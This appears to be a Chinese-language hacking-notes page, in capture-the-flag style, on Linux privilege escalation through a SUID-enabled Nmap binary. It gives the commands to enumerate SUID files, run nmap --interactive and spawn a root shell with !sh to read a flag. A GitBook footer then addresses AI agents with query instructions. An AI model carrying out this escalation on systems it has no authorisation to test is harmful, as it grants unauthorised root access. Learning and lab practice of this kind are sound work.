> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/suid/suid-nmap-linux-privilege-escalation.md).

# SUID（Nmap）- Linux 权限提升

## 这是什么

SUID 二进制文件以其所有者的权限执行，通常是 root。存在漏洞、过时或过于灵活的 SUID 二进制文件可以读取受保护文件、启动具有特权的 shell，或执行由攻击者控制的代码。这个特定页面重点关注 **SUID（Nmap）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。

## 枚举

在运行利用路径之前，先确认本地上下文和具体的错误配置。

```bash
find / -perm -4000 -type f 2>/dev/null
```

## 示例

#### SUID 文件发现

我们使用以下命令查找启用了 SUID 位的文件：

```bash
find / -perm -4000 2>/dev/null
```

<figure><img src="/files/d23eae5d1ffa23ee8c802373d540f25f77cfc298" alt=""><figcaption></figcaption></figure>

#### Nmap 识别

在列出的文件中，我们发现 **Nmap**.

#### 利用

Nmap 可在交互模式下以 root 身份执行命令。步骤如下：

以交互模式启动 Nmap：

```bash
nmap --interactive
```

以 root 身份运行命令，例如：

```bash
!whoami
```

它显示“root”。

<figure><img src="/files/b6d2fd4a88bdd536696c6399d2c65d15bdf04912" alt="" width="563"><figcaption></figcaption></figure>

获取一个 root shell：

```bash
!sh
```

进入 root shell 后，访问 **root 文件.txt** 以获取 flag。

<figure><img src="/files/20b52643af54fc4d360dc2d24ad5a471da1c2e64" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/suid/suid-nmap-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
